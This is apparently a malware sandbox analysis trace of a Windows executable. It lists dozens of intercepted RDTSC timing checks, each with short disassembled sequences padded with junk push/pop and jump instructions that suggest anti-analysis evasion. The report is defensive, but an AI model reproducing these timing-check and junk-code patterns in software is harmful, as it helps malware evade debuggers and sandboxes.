Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 596184 second address: 59618F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FFAF8C4A836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59618F second address: 5961A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FFAF902724Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5967A9 second address: 5967AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 597108 second address: 59710F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59710F second address: 59711B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5973C3 second address: 5973E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAF9027259h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59764E second address: 597657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 597657 second address: 59765D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59765D second address: 5976C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A845h 0x00000007 jmp 00007FFAF8C4A845h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 jg 00007FFAF8C4A84Eh 0x00000016 jmp 00007FFAF8C4A842h 0x0000001b jnc 00007FFAF8C4A836h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FFAF8C4A846h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5976C3 second address: 5976C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59A9B9 second address: 59A9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A845h 0x00000009 push eax 0x0000000a jmp 00007FFAF8C4A840h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59A9E5 second address: 59AA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FFAF9027256h 0x0000000a jo 00007FFAF902724Ch 0x00000010 jg 00007FFAF9027246h 0x00000016 popad 0x00000017 je 00007FFAF9027256h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AA19 second address: 59AA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AB74 second address: 59AB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AB78 second address: 59AB93 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FFAF8C4A83Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59ACD4 second address: 59ACD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59ACD8 second address: 59ACDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59ACDE second address: 59ACF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAF9027250h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59ACF8 second address: 59AD0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A841h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AD0D second address: 59AD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AD1A second address: 59AD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AD20 second address: 59AD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FFAF902724Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59AD36 second address: 59AD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59B055 second address: 59B059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59B33B second address: 59B341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A02DD second address: 5A02EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A02EB second address: 5A02EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A82A6 second address: 5A82CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF9027259h 0x00000009 pop ecx 0x0000000a jnp 00007FFAF9027252h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A82CC second address: 5A82E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FFAF8C4A836h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FFAF8C4A836h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A82E0 second address: 5A82E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A82E4 second address: 5A82EE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAF8C4A836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A82EE second address: 5A8328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FFAF9027255h 0x00000011 pop eax 0x00000012 jmp 00007FFAF9027258h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A63B3 second address: 5A63BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A63BA second address: 5A63CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jns 00007FFAF9027246h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FFAF9027246h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A6980 second address: 5A69BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A846h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFAF8C4A83Eh 0x0000000e jnc 00007FFAF8C4A838h 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FFAF8C4A836h 0x0000001c jp 00007FFAF8C4A836h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A69BE second address: 5A69C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A6ADD second address: 5A6AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FFAF8C4A83Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A6AF1 second address: 5A6B0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Fh 0x00000007 je 00007FFAF902724Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A6C9E second address: 5A6CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFAF8C4A836h 0x0000000a popad 0x0000000b popad 0x0000000c jnl 00007FFAF8C4A86Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FFAF8C4A840h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A6F99 second address: 5A6FB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF9027251h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A70E5 second address: 5A70E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A70E9 second address: 5A70F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A70F2 second address: 5A70FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FFAF8C4A836h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A8174 second address: 5A817A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A817A second address: 5A8184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A8184 second address: 5A8188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5A5F39 second address: 5A5F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A841h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5ABFD2 second address: 5AC039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FFAF9027252h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FFAF902724Ah 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jng 00007FFAF9027248h 0x0000001b push eax 0x0000001c pop eax 0x0000001d pushad 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jmp 00007FFAF9027256h 0x00000025 jmp 00007FFAF9027254h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f jnp 00007FFAF9027246h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0F22 second address: 5B0F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0F26 second address: 5B0F4E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FFAF9027256h 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0F4E second address: 5B0F59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0AB1 second address: 5B0AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0AB5 second address: 5B0ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0C11 second address: 5B0C16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5B0C16 second address: 5B0C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFAF8C4A836h 0x0000000a popad 0x0000000b jmp 00007FFAF8C4A849h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jc 00007FFAF8C4A84Eh 0x00000018 push esi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jng 00007FFAF8C4A836h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5BF34C second address: 5BF350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5BF350 second address: 5BF354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5BF049 second address: 5BF04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4EDA81 second address: 4EDA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jp 00007FFAF8C4A836h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5C719F second address: 5C71A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5C71A8 second address: 5C71AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5C71AE second address: 5C71BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5D4024 second address: 5D4028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5D4028 second address: 5D402E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5D402E second address: 5D4038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5D4038 second address: 5D403C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5D403C second address: 5D406B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A843h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAF8C4A846h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DFBA5 second address: 5DFBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FFAF9027246h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jg 00007FFAF9027246h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DE3DB second address: 5DE3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DE3DF second address: 5DE3E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DE537 second address: 5DE54F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FFAF8C4A842h 0x00000010 jbe 00007FFAF8C4A836h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DE54F second address: 5DE557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DE6C0 second address: 5DE6C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DEC51 second address: 5DEC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007FFAF902724Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FFAF9027246h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5DF88E second address: 5DF899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5E252C second address: 5E2543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FFAF9027246h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f jnc 00007FFAF9027248h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5E2543 second address: 5E2567 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FFAF8C4A83Fh 0x00000008 jg 00007FFAF8C4A836h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jo 00007FFAF8C4A83Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5EBFB6 second address: 5EBFBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5EBFBA second address: 5EBFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5F042D second address: 5F0432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F464D second address: 4F4657 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFAF8C4A83Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 4F4657 second address: 4F466F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FFAF902724Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 6004ED second address: 6004F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 60206B second address: 60206F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 60206F second address: 602075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 602075 second address: 60207A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 60207A second address: 6020AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FFAF8C4A83Fh 0x00000014 jns 00007FFAF8C4A846h 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FFAF8C4A83Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 6021DF second address: 602207 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAF9027258h 0x0000000b jnp 00007FFAF902724Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 602207 second address: 602213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007FFAF8C4A836h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 602213 second address: 602230 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAF9027246h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAF902724Dh 0x00000015 rdtsc
